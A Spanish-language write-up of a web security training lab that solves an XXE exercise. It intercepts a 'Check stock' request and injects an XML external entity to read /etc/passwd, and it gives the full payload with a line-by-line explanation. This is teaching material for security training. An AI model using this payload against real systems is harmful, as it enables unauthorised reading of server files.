Exploiting XXE using external entities to retrieve files writeup

Descripción

This lab has a «Check stock» feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

Exploiting XXE using external entities to retrieve files writeup

Al entrar en el laboratorio veremos una tienda online. Iremos a cualquier producto con ‘View details’ y capturaremos con el ‘Logger’ la petición de ‘Check stock’:

Enviaremos esta peticicón al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Allí realizaremos los siguientes cambios al código XML:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
 <stockCheck>
 <productId>&xxe;</productId>
 <storeId>1</storeId>
</stockCheck>

El código inyectado realiza lo siguiente:

  1. <!DOCTYPE test [ <!ENTITY xxe SYSTEM «file:///etc/passwd»> ]>: Carga el contenido del archivo ‘/etc/passwd’ en la entidad ‘xxe’.
  2. <productId>&xxe;</productId> Accede a la entidad xee;

Al enviar la petición completaremos el laboratorio:

Completando así el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *